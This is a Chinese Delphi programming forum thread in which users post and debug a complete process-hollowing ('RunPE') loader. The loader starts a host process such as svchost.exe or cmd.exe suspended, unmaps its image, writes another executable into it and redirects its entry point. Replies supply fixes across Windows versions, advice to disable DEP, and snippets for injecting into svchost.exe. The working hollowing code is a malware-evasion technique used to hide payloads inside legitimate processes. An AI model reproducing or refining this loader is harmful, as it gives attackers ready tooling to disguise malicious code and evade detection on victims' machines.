DELPHI盒子
!实时搜索: 盒子论坛 | 注册用户 | 修改信息 | 退出
检举帖 | 全文检索 | 关闭广告 | 捐赠
技术论坛
 用户名
 密  码
自动登陆(30天有效)
忘了密码
≡技术区≡
DELPHI技术
lazarus/fpc/Free Pascal
移动应用开发
Web应用开发
数据库专区
报表专区
网络通讯
开源项目
论坛精华贴
≡发布区≡
发布代码
发布控件
文档资料
经典工具
≡事务区≡
网站意见
盒子之家
招聘应聘
信息交换
论坛信息
最新加入: webb123
今日帖子: 1
在线用户: 8
导航: 论坛 -> DELPHI技术 斑竹:liumazi,sephil  
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/14 11:54:44
标题:
使用下面的注入代码在64位Win7下报0xC0000005错误,哪位大神帮忙看看,谢谢!!! 浏览:2333
加入我的收藏
楼主: 使用下面的注入代码在64位Win7下,注入32位的程序会报0xC0000005错误,注入64位程序则正常,哪位大神帮忙看看,谢谢!!!
注入32位的时候注入程序和被注入程序均为32位的,依然会报错。
program Unprotect_RunPE;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  System.Classes,
  WinAPI.Windows,
  System.SysUtils;


function NtUnmapViewOfSection(
  ProcessHandle: THandle;
  BaseAddress: Pointer
):DWORD; stdcall; external 'ntdll.dll';

type
  EWindowsException = class(Exception)
  private
    FLastError : Integer;
  public
    {@C}
    constructor Create(const WinAPI : String); overload;

    {@G}
    property LastError : Integer read FLastError;
  end;

  EInvalidPEFile = class(Exception)
  public
    {@C}
    constructor Create(const AReason : String); overload;
  end;

constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
      WinAPI,
      FLastError,
      SysErrorMessage(FLastError)
  ]);

  ///
  inherited Create(AFormatedMessage);
end;


constructor EInvalidPEFile.Create(const AReason : String);
begin
  inherited Create(Format('Invalid Windows PE File: "%s"', [AReason]));
end;

procedure WriteProcessMemoryEx(const hProcess : THandle; const pOffset, pData : Pointer; const ADataSize : SIZE_T);
var ABytesWritten : SIZE_T;
begin
  if not WriteProcessMemory(
    hProcess,
    pOffset,
    pData,
    ADataSize,
    ABytesWritten
  ) then
    raise EWindowsException.Create('WriteProcessMemory');
end;

procedure HollowMe(const pPEBuffer: PVOID; const APEBufferSize: Int64; APEHost : String); overload;
var AStartupInfo          : TStartupInfo;
    AProcessInfo          : TProcessInformation;
    pThreadContext          : PContext;
    AImageBase          : NativeUInt;
    pOffset          : Pointer;
    ABytesRead          : SIZE_T;
    ptrImageDosHeader       : PImageDosHeader;
    AImageNtHeaderSignature : DWORD;
    ptrImageFileHeader      : PImageFileHeader;
    I          : Integer;
    pSectionHeader          : PImageSectionHeader;
    pPayloadAddress         : Pointer;
    pImageBaseOffset        : Pointer;
    ALoaderX64          : Boolean;

    {$IFDEF WIN64}
      pOptionalHeader64 : PImageOptionalHeader64;
    {$ELSE}
      pOptionalHeader32 : PImageOptionalHeader32;
    {$ENDIF}

begin
  if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then
    raise Exception.Create('Memory buffer is not valid.');

  pOffset := pPEBuffer;

  ptrImageDosHeader := PImageDosHeader(pOffset);

  if ptrImageDosHeader^.e_magic <> IMAGE_DOS_SIGNATURE then
    raise EInvalidPEFile.Create('IMAGE_DOS_SIGNATURE');

  pOffset := Pointer(NativeUInt(pOffset) + ptrImageDosHeader^._lfanew);

  AImageNtHeaderSignature := PDWORD(pOffset)^;

  if AImageNtHeaderSignature <> IMAGE_NT_SIGNATURE then
    raise EInvalidPEFile.Create('IMAGE_NT_SIGNATURE');

  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(DWORD));

  ptrImageFileHeader := PImageFileHeader(pOffset);

  {$IFDEF WIN64}
    ALoaderX64 := True;
  {$ELSE}
    ALoaderX64 := False;
  {$ENDIF}

  case ptrImageFileHeader^.Machine of
    IMAGE_FILE_MACHINE_AMD64 : begin
      if not ALoaderX64 then
        Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.');
    end;

    IMAGE_FILE_MACHINE_I386 : begin
      if ALoaderX64 then
        Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.');
    end;
  end;

  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageFileHeader));

  {$IFDEF WIN64}
    pOptionalHeader64 := PImageOptionalHeader64(pOffset);

    pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64));
  {$ELSE}
    pOptionalHeader32 := PImageOptionalHeader32(pOffset);

    pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32));
  {$ENDIF}

  pSectionHeader := PImageSectionHeader(pOffset);

  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
  ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));

  AStartupInfo.cb := SizeOf(TStartupInfo);
  AStartupInfo.wShowWindow := SW_SHOW;

  UniqueString(APEHost);

  if not CreateProcessW(
      PWideChar(APEHost),
      nil,
      nil,
      nil,
      False,
      CREATE_SUSPENDED,
      nil,
      nil,
      AStartupInfo,
      AProcessInfo
  ) then
    raise EWindowsException.Create('CreateProcessW');

  pThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT, PAGE_READWRITE);
  pThreadContext^.ContextFlags := CONTEXT_FULL;

  if not GetThreadContext(AProcessInfo.hThread, pThreadContext^) then
    raise EWindowsException.Create('GetThreadContext');

  {$IFDEF WIN64}
    pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2));
  {$ELSE}
    pImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2));
  {$ENDIF}

  if not ReadProcessMemory(AProcessInfo.hProcess, pImageBaseOffset, @AImageBase, SizeOf(NativeUInt), ABytesRead) then
    raise EWindowsException.Create('ReadProcessMemory');

  if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AImageBase)) <> 0 then
    raise Exception.Create('Could not unmap section.');

  pPayloadAddress := VirtualAllocEx(
    AProcessInfo.hProcess,
    nil,
    {$IFDEF WIN64}
      pOptionalHeader64^.SizeOfImage,
    {$ELSE}
      pOptionalHeader32^.SizeOfImage,
    {$ENDIF}
    MEM_COMMIT or MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
  );

  if not Assigned(pPayloadAddress) then
    raise EWindowsException.Create('VirtualAllocEx');

  WriteProcessMemoryEx(
    AProcessInfo.hProcess,
    pPayloadAddress,
    pPEBuffer,
    {$IFDEF WIN64}
      pOptionalHeader64^.SizeOfHeaders
    {$ELSE}
      pOptionalHeader32^.SizeOfHeaders
    {$ENDIF}
  );

  for I := 1 to ptrImageFileHeader^.NumberOfSections do begin
    try
      WriteProcessMemoryEx(
        AProcessInfo.hProcess,
        Pointer(NativeUInt(pPayloadAddress) + pSectionHeader^.VirtualAddress),
        Pointer(NativeUInt(pPEBuffer) + pSectionHeader^.PointerToRawData),
        pSectionHeader^.SizeOfRawData
      );
    finally
      pSectionHeader := Pointer(NativeUInt(pSectionHeader) + SizeOf(TImageSectionHeader));
    end;
  end;

  {$IFDEF WIN64}
    pThreadContext^.Rcx := NativeUInt(pPayloadAddress) + pOptionalHeader64^.AddressOfEntryPoint;
  {$ELSE}
    pThreadContext^.Eax := NativeUInt(pPayloadAddress) + pOptionalHeader32^.AddressOfEntryPoint;
  {$ENDIF}

  WriteProcessMemoryEx(
    AProcessInfo.hProcess,
    pImageBaseOffset,
    @pPayloadAddress,
    SizeOf(Pointer)
  );

  if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then
    raise EWindowsException.Create('SetThreadContext');

  if ResumeThread(AProcessInfo.hThread) = 0 then
    raise EWindowsException.Create('ResumeThread');
end;


procedure HollowMe(const APEFile, APEHost : String); overload;
var ABuffer    : array of byte;
    hFile      : THandle;
    AFileSize  : Int64;
    ABytesRead : DWORD;
begin
  if not FileExists(APEFile) then
    raise Exception.Create(Format('File "%s" does not exists.', [APEFile]));
  ///

  hFile := CreateFile(
      PWideChar(APEFile),
      GENERIC_READ,
      FILE_SHARE_READ,
      nil,
      OPEN_EXISTING,
      0,
      0
  );
  if hFile = INVALID_HANDLE_VALUE then
    raise EWindowsException.Create('CreateFile');

  try
    if not GetFileSizeEx(hFile, AFileSize) then
      raise EWindowsException.Create('GetFileSizeEx');

    if AFileSize = 0 then
      raise Exception.Create('Invalid PE File Size.');

    SetLength(ABuffer, AFileSize);

    if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then
      raise EWindowsException.Create('ReadFile');
  finally
    CloseHandle(hFile);
  end;

  ///
  HollowMe(PByte(ABuffer), AFileSize, APEHost);
end;

begin
  try
    HollowMe('FileToRun.exe', 'HostFile.exe');
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.
----------------------------------------------
-
作者:
男 twg1 (siao siao) ★☆☆☆☆ -
普通会员
2023/3/14 18:25:11
1楼: {$IFDEF WIN64}
// win10 xe11.3 64 64
pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2));
// win10 xe11.3 64 32
pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer)));
----------------------------------------------
-
作者:
男 qq81709989 (战石电子) ▲▲△△△ -
普通会员
2023/3/14 18:51:16
2楼: 如果使用 SetWindowsHookEx 函数来实现 DLL 注入,需要注意 32 位程序只能对 32 位进程作注入,64 位程序只能对 64 位进程作注入。如果要挂钩所有应用程序,需要安装一个 32 位全局挂钩和一个 64 位全局挂钩,并确保在挂钩应用程序中保持抽水消息。
如果使用 CreateRemoteThread 函数来实现 DLL 或 shellcode 注入,需要判断目标进程的结构是否与注入程序一致。如果不一致,可以使用 Wow64ext 库来切换到目标进程的结构,并调用相应的 API 来创建远程线程。
如果使用 KeUserModeCallBack 函数来执行用户模式代码,需要注意在 WOW64 环境下的兼容性问题,并正确处理异常和回调函数。

这个问题是因为在64位Windows下注入32位进程时,在下面的代码段中,有一些指针(如IMAGE_OPTIONAL_HEADER32和IMAGE_NT_HEADERS32)被直接声明为64位指针,而不是32位指针。这会导致读取错误的内存地址,从而导致0xC0000005错误。

{$IFDEF WIN64}
pOptionalHeader64 := PImageOptionalHeader64(pOffset);
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64));
{$ELSE}
pOptionalHeader32 := PImageOptionalHeader32(pOffset);
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32));
{$ENDIF}

建议您在32位Windows下编译程序时进行测试,以确保它可以注入32位进程,并且您应该使用32位指针而不是64位指针来访问32位PE文件头的各个部分。

下面是修改过的代码段,它应该能够在64位Windows下注入32位进程。

{$IFDEF WIN64}
pOptionalHeader64 := PImageOptionalHeader64(pOffset);
pImageBaseOffset := Pointer(NativeUInt(pPEBuffer) + pOptionalHeader64^.ImageBase);
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64));
{$ELSE}
pOptionalHeader32 := PImageOptionalHeader32(pOffset);
pImageBaseOffset := Pointer(NativeUInt(pPEBuffer) + pOptionalHeader32^.ImageBase);
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32));
{$ENDIF}

pSectionHeader := PImageSectionHeader(pOffset);

ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));

AStartupInfo.cb := SizeOf(TStartupInfo);
AStartupInfo.wShowWindow := SW_SHOW;

UniqueString(APEHost);

if not CreateProcessW(
PWideChar(APEHost),
nil,
nil,
nil,
False,
CREATE_SUSPENDED,
nil,
nil,
AStartupInfo,
AProcessInfo
) then
raise EWindowsException.Create('CreateProcessW');

pThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT, PAGE_READWRITE);
pThreadContext^.ContextFlags := CONTEXT_FULL;

根据给出的注入代码,问题可能出在PE文件的头文件中。

根据代码可以看出,注入代码首先读取PE文件的头文件,然后判断PE文件的架构类型,如果是32位PE文件,则设置一个变量ALoaderX64为False,否则为True。

然后根据PE文件头文件的信息,创建一个挂起的进程,并使用VirtualAlloc为线程上下文分配内存,其中包含了要注入的PE文件的信息。

在为PE文件分配内存时,将其基址设置为ImageBase,ImageBase是在PE文件头文件的可选标头中定义的,因此这个值可能是无效的或不正确的。

由于这个错误只出现在注入32位PE文件时,我建议检查注入的32位PE文件的ImageBase是否正确。可能需要查看PE文件头中可选标头的ImageBase值是否为零或无效值,或者是否需要手动指定ImageBase,或者如果这个值不正确,可能需要修改PE文件的头文件来使其正确。
----------------------------------------------
《Z-Gantt智慧时间管理进度计划甘特图软件》:WWW.Z-SHi.NET
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/15 9:10:46
3楼: 好的,谢谢qq81709989 和 twg1的回复,我来试一下。再次感谢
----------------------------------------------
-
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/15 10:14:35
4楼: 试了一下,还是一样的错误,麻烦各路大神帮忙看下,附件是源程序,用的是Delphi11.3。
此帖子包含附件:fanghui_2023315101435.rar 大小:96.3K
----------------------------------------------
-
作者:
男 2cc (2cc) ▲▲△△△ -
普通会员
2023/3/16 1:13:57
5楼: 出错主要在ResumeThread后,之前设置的OEP(eax)的值会改变,导致EIP指向一个不存在的地址。
----------------------------------------------
-
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/16 9:42:06
6楼: @2cc
那要如何修改呢?还望赐教,谢谢
----------------------------------------------
-
作者:
男 2cc (2cc) ▲▲△△△ -
普通会员
2023/3/16 11:18:14
8楼:  @fanghui

 {$IFDEF WIN64}
  pThreadContext^.Rcx := NativeUInt(pPayloadAddress) + pOptionalHeader^.AddressOfEntryPoint;
  {$ELSE}
  pThreadContext^.Eax := NativeUInt(pPayloadAddress) + pOptionalHeader^.AddressOfEntryPoint;
  if Win32MajorVersion = 6 then //WIN7 32位系统不要修改入口点
  begin
    pThreadContext^.Eax:=pOptionalHeader^.ImageBase+pOptionalHeader^.AddressOfEntryPoint;
  end;
  {$ENDIF}

僵尸程序和要注入的程序,都去除数据执行保护(DEP).
----------------------------------------------
-
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/16 18:44:35
9楼: @2cc
好的,谢谢,我去试试看。
----------------------------------------------
-
作者:
男 138soft (138soft) ★☆☆☆☆ -
盒子活跃会员
2023/3/19 16:20:56
10楼:
快10年前的东西了吧。。。


procedure TForm1.Button1Click(Sender: TObject);
var
  hFileRead: THandle;
  dwFileSize, dwBytesRead: LongWord;
  pData: Pointer;
  i: Integer;
begin
  hFileRead := CreateFile(PChar(Application.ExeName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if hFileRead = INVALID_HANDLE_VALUE then Exit;
  dwFileSize := GetFileSize(hFileRead, nil);
  pData := GetMemory(dwFileSize);
  ReadFile(hFileRead, pData^, dwFileSize, dwBytesRead, nil);
  CloseHandle(hFileRead);
  for i := 1 to 100 do
  begin
    if InToExe(pData, 'c:\windows\system32\svchost.exe') then break
    else
      Sleep(1);
  end;
  FreeMemory(pData);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Caption := 'ProcessID:' + IntToStr(GetCurrentProcessId) + '.' + Application.ExeName;
end;
此帖子包含附件:138soft_2023319162054.zip 大小:202.8K
----------------------------------------------
是你上错了车,还是我下错了站?
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/20 8:40:24
11楼: @138soft,你的没有错误,请放出原代码,谢谢!
----------------------------------------------
永远是DELPHI初学者。
作者:
男 138soft (138soft) ★☆☆☆☆ -
盒子活跃会员
2023/3/20 14:08:21
12楼: 代码就不放了,大同小异。win7下应该是要把NtUnmapViewOfSection这个去掉即可。win10/win11下要做其它修改,否则会随机出错,甚至运行一段时间后随机出错。
另外。需要循环是因为:
VirtualAllocEx(ProcessInfo.hProcess, Pointer(NTHeaders.OptionalHeader.ImageBase)
这个在win10下不是每次都成功的,但循环几次,总有一次OK。
总之,这是一个过时的技术了,玩玩新的吧。
----------------------------------------------
是你上错了车,还是我下错了站?
作者:
男 wang_80919 (Flying Wang) ★☆☆☆☆ -
普通会员
2023/3/20 14:39:20
13楼: 非常赞同楼上。
但是 这个 十年前的代码,我都没搞明白了。也就无法知道 新的 是什么样的代码。
----------------------------------------------
(C)(P)Flying Wang
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/20 16:39:56
14楼: 搞不明白,楼的代码,c:\windows\system32\svchost.exe无法使用,记事本64位还可以。
肯求@138soft放出代码。
----------------------------------------------
永远是DELPHI初学者。
作者:
男 1111111112 (1111111112) ▲△△△△ -
普通会员
2023/3/20 17:14:01
15楼: 这种事去c++干不是更好 那么多代码可以copy
----------------------------------------------
-
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/20 21:11:39
16楼: @138soft
还望能详细说说这个技术,谢谢。我按照之前两位热心盒友的建议修改了,还是会报同样的错误,最近有点事情耽误了,就没继续深入研究。还望能赐教下,告诉我究竟是哪里出了问题。非常感谢!
----------------------------------------------
-
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/20 21:35:12
17楼: 按照138soft的提示屏蔽了NtUnmapViewOfSection这句代码后在win7 64位系统下,注入程序和被注入程序都是32位的情况下,成功注入。注入程序he被注入程序都是64位的情况下也成功注入。其他代码不用修改,还是我之前附件中的代码就可以了。
----------------------------------------------
-
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/20 22:43:26
18楼: @fanghui  WIN7 64位下还是出错。
win7 32 
win10 win11 32和64没有问题。
----------------------------------------------
永远是DELPHI初学者。
作者:
男 138soft (138soft) ★☆☆☆☆ -
盒子活跃会员
2023/3/20 22:53:27
19楼: unit u_DllInjectUnit;
(*

 功能: Dll插入功能模块,直接Buffer方式插入。支持以下四种方式:
 1、X32--->X32
 2、X32--->X64
 3、X64--->X64
 4、X64--->X32

 日期:2008年12月1日。

*)
 

function IsWin64System: Boolean;
function X32InjectToX32(hProcess: THandle; pDllBuffer: Pointer; dwDllSize: LongWord): Boolean;
function X32InjectToX64(hProcess: THandle; pDllBuffer: Pointer; dwDllSize: LongWord): Boolean;
function X64InjectToX32(hProcess: THandle; pDllBuffer: Pointer; dwDllSize: LongWord): Boolean;
function X64InjectToX64(hProcess: THandle; pDllBuffer: Pointer; dwDllSize: LongWord): Boolean;  
implementation
此帖子包含附件:138soft_2023320225320.zip 大小:1.34M
----------------------------------------------
是你上错了车,还是我下错了站?
作者:
男 2cc (2cc) ▲▲△△△ -
普通会员
2023/3/21 0:12:27
20楼: https://blog.csdn.net/u012395622/article/details/47026593

https://github.com/rwfpl/rewolf-wow64ext
----------------------------------------------
-
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/21 9:16:04
21楼: @fanghui  注入WIN7 64位EXE下还是出错。
此帖子包含附件:
PNG 图像
大小:18.6K
----------------------------------------------
永远是DELPHI初学者。
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/21 13:31:55
22楼: @jingzu
我的代码就是这样的,你看下你那边能不能正常
program Unprotect_RunPE;

{$APPTYPE CONSOLE}
{$R *.res}

uses
  System.Classes,
  WinAPI.Windows,
  System.SysUtils;

function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: Pointer): DWORD; stdcall; external 'ntdll.dll';

type
  EWindowsException = class(Exception)
  private
    FLastError: Integer;
  public
    { @C }
    constructor Create(const WinAPI: String); overload;

    { @G }
    property LastError: Integer read FLastError;
  end;

  EInvalidPEFile = class(Exception)
  public
    { @C }
    constructor Create(const AReason: String); overload;
  end;

constructor EWindowsException.Create(const WinAPI: String);
var
  AFormatedMessage: String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".',
    [WinAPI, FLastError, SysErrorMessage(FLastError)]);

  ///
  inherited Create(AFormatedMessage);
end;

constructor EInvalidPEFile.Create(const AReason: String);
begin
  inherited Create(Format('Invalid Windows PE File: "%s"', [AReason]));
end;

procedure WriteProcessMemoryEx(const hProcess: THandle;
  const pOffset, pData: Pointer; const ADataSize: SIZE_T);
var
  ABytesWritten: SIZE_T;
begin
  if not WriteProcessMemory(hProcess, pOffset, pData, ADataSize, ABytesWritten)
  then
    raise EWindowsException.Create('WriteProcessMemory');
end;

function OSVersion: string;
begin
  Result := 'Unknown (Windows ' + IntToStr(Win32MajorVersion) + '.' +
    IntToStr(Win32MinorVersion) + ')';
  case Win32MajorVersion of
    4:
      case Win32MinorVersion of
        0:
          Result := 'Windows 95';
        10:
          Result := 'Windows 98';
        90:
          Result := 'Windows ME';
      end;
    5:
      case Win32MinorVersion of
        0:
          Result := 'Windows 2000';
        1:
          Result := 'Windows XP';
      end;
    6:
      case Win32MinorVersion of
        0:
          Result := 'Windows Vista';
        1:
          Result := 'Windows 7';
        2:
          Result := 'Windows 8';
        3:
          Result := 'Windows 8.1';
      end;
    10:
      case Win32MinorVersion of
        0:
          Result := 'Windows 10';
      end;
  end;
end;

procedure HollowMe(const pPEBuffer: PVOID; const APEBufferSize: Int64;
  APEHost: String); overload;
var
  AStartupInfo: TStartupInfo;
  AProcessInfo: TProcessInformation;
  pThreadContext: PContext;
  AImageBase: NativeUInt;
  pOffset: Pointer;
  ABytesRead: SIZE_T;
  ptrImageDosHeader: PImageDosHeader;
  AImageNtHeaderSignature: DWORD;
  ptrImageFileHeader: PImageFileHeader;
  I: Integer;
  pSectionHeader: PImageSectionHeader;
  pPayloadAddress: Pointer;
  pImageBaseOffset: Pointer;
  ALoaderX64: Boolean;
{$IFDEF WIN64}
  pOptionalHeader: PImageOptionalHeader64;
{$ELSE}
  pOptionalHeader: PImageOptionalHeader32;
{$ENDIF}
begin
  if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then
    raise Exception.Create('Memory buffer is not valid.');

  pOffset := pPEBuffer;

  ptrImageDosHeader := PImageDosHeader(pOffset);

  if ptrImageDosHeader^.e_magic <> IMAGE_DOS_SIGNATURE then
    raise EInvalidPEFile.Create('IMAGE_DOS_SIGNATURE');

  pOffset := Pointer(NativeUInt(pOffset) + ptrImageDosHeader^._lfanew);

  AImageNtHeaderSignature := PDWORD(pOffset)^;

  if AImageNtHeaderSignature <> IMAGE_NT_SIGNATURE then
    raise EInvalidPEFile.Create('IMAGE_NT_SIGNATURE');

  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(DWORD));

  ptrImageFileHeader := PImageFileHeader(pOffset);

{$IFDEF WIN64}
  ALoaderX64 := True;
{$ELSE}
  ALoaderX64 := False;
{$ENDIF}
  case ptrImageFileHeader^.Machine of
    IMAGE_FILE_MACHINE_AMD64:
      begin
        if not ALoaderX64 then
          Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.');
      end;

    IMAGE_FILE_MACHINE_I386:
      begin
        if ALoaderX64 then
          Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.');
      end;
  end;

  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageFileHeader));

{$IFDEF WIN64}
  pOptionalHeader := PImageOptionalHeader64(pOffset);
  pImageBaseOffset := Pointer(NativeUInt(pPEBuffer) + pOptionalHeader^.ImageBase);
  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64));
{$ELSE}
  pOptionalHeader := PImageOptionalHeader32(pOffset);
  pImageBaseOffset := Pointer(NativeUInt(pPEBuffer) + pOptionalHeader^.ImageBase);
  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32));
{$ENDIF}
  pSectionHeader := PImageSectionHeader(pOffset);

  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
  ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));

  AStartupInfo.cb := SizeOf(TStartupInfo);
  AStartupInfo.wShowWindow := SW_SHOW;

  UniqueString(APEHost);

  if not CreateProcessW(PWideChar(APEHost), nil, nil, nil, False,
    CREATE_SUSPENDED, nil, nil, AStartupInfo, AProcessInfo) then
    raise EWindowsException.Create('CreateProcessW');

  pThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT,
    PAGE_READWRITE);
  pThreadContext^.ContextFlags := CONTEXT_FULL;

  if not GetThreadContext(AProcessInfo.hThread, pThreadContext^) then
    raise EWindowsException.Create('GetThreadContext');

{$IFDEF WIN64}
  pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2));
{$ELSE}
  pImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2));
{$ENDIF}
  if not ReadProcessMemory(AProcessInfo.hProcess, pImageBaseOffset, @AImageBase,
    SizeOf(NativeUInt), ABytesRead) then
    raise EWindowsException.Create('ReadProcessMemory');

{$IFDEF WIN64}
  if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AImageBase)) <> 0 then
   raise Exception.Create('Could not unmap section.');
{$ENDIF}

  pPayloadAddress := VirtualAllocEx(AProcessInfo.hProcess, nil,
    pOptionalHeader^.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);

  if not Assigned(pPayloadAddress) then
    raise EWindowsException.Create('VirtualAllocEx');

  WriteProcessMemoryEx(AProcessInfo.hProcess, pPayloadAddress, pPEBuffer,
    pOptionalHeader^.SizeOfHeaders);

  for I := 1 to ptrImageFileHeader^.NumberOfSections do
  begin
    try
      if pSectionHeader^.SizeOfRawData <> 0 then
      begin
        WriteProcessMemoryEx(AProcessInfo.hProcess,
          Pointer(NativeUInt(pPayloadAddress) + pSectionHeader^.VirtualAddress),
          Pointer(NativeUInt(pPEBuffer) + pSectionHeader^.PointerToRawData),
          pSectionHeader^.SizeOfRawData);
      end;
    finally
      pSectionHeader := Pointer(NativeUInt(pSectionHeader) +
        SizeOf(TImageSectionHeader));
    end;
  end;

{$IFDEF WIN64}
  pThreadContext^.Rcx := NativeUInt(pPayloadAddress) + pOptionalHeader^.AddressOfEntryPoint;
  if OSVersion = 'Windows 7' then
    pThreadContext^.Rcx := pOptionalHeader^.ImageBase + pOptionalHeader^.AddressOfEntryPoint;
{$ELSE}
  pThreadContext^.Eax := NativeUInt(pPayloadAddress) + pOptionalHeader^.AddressOfEntryPoint;
  if OSVersion = 'Windows 7' then
    pThreadContext^.Eax := pOptionalHeader^.ImageBase + pOptionalHeader^.AddressOfEntryPoint;
{$ENDIF}
  WriteProcessMemoryEx(AProcessInfo.hProcess, pImageBaseOffset,
    @pPayloadAddress, SizeOf(Pointer));

  if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then
    raise EWindowsException.Create('SetThreadContext');

  if ResumeThread(AProcessInfo.hThread) = 0 then
    raise EWindowsException.Create('ResumeThread');
end;

procedure HollowMe(const APEFile, APEHost: String); overload;
var
  ABuffer: array of byte;
  hFile: THandle;
  AFileSize: Int64;
  ABytesRead: DWORD;
begin
  if not FileExists(APEFile) then
    raise Exception.Create(Format('File "%s" does not exists.', [APEFile]));

  hFile := CreateFile(PWideChar(APEFile), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if hFile = INVALID_HANDLE_VALUE then
    raise EWindowsException.Create('CreateFile');

  try
    if not GetFileSizeEx(hFile, AFileSize) then
      raise EWindowsException.Create('GetFileSizeEx');

    if AFileSize = 0 then
      raise Exception.Create('Invalid PE File Size.');

    SetLength(ABuffer, AFileSize);

    if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then
      raise EWindowsException.Create('ReadFile');
  finally
    CloseHandle(hFile);
  end;

  HollowMe(PByte(ABuffer), AFileSize, APEHost);
end;

begin
  try
{$IFDEF WIN64}
    HollowMe(ExtractFilePath(Paramstr(0)) + 'Project1.exe',
      'C:\Windows\System32\svchost.exe');
{$ELSE}
    HollowMe(ExtractFilePath(Paramstr(0)) + 'Project1.exe',
      'C:\Windows\SysWOW64\cmd.exe');
{$ENDIF}
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;

end.
----------------------------------------------
-
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/21 14:08:21
23楼: @fanghui 
上面代码:
WIN7 32位系统,不行。
win7 64位系统,都行。
WIN10 64位系统   32位行,64位不行
WIN11 64位系统   32位行,64位不行。
WIN10,WIN11不行的出现下图:
此帖子包含附件:
PNG 图像
大小:34.4K
----------------------------------------------
永远是DELPHI初学者。
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/21 14:21:17
24楼: @jingzu
我只有win7的系统,在win7下32位64位都可以。其他的系统我没法测试
----------------------------------------------
-
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/21 14:27:01
25楼: 用VMware 17,这样可以安装很多系统来测试。
我就是用VMware 17 
安装了XP,
WIN7 32,
WIN7 64,
WIN10 64, 
WIN11 64
看样子,各系统兼容性不太好啊。
----------------------------------------------
永远是DELPHI初学者。
作者:
男 fanghui (delphi) ★☆☆☆☆ -
普通会员
2023/3/21 14:40:03
26楼: 抽空我来装个虚拟机试试看,我用的是VirtualBox虚拟机
----------------------------------------------
-
作者:
男 jingzu (123456) ★☆☆☆☆ -
盒子活跃会员
2023/3/21 15:29:09
27楼: VirtualBox 安装WIN11不好
----------------------------------------------
永远是DELPHI初学者。
作者:
男 138soft (138soft) ★☆☆☆☆ -
盒子活跃会员
2023/3/21 22:51:49
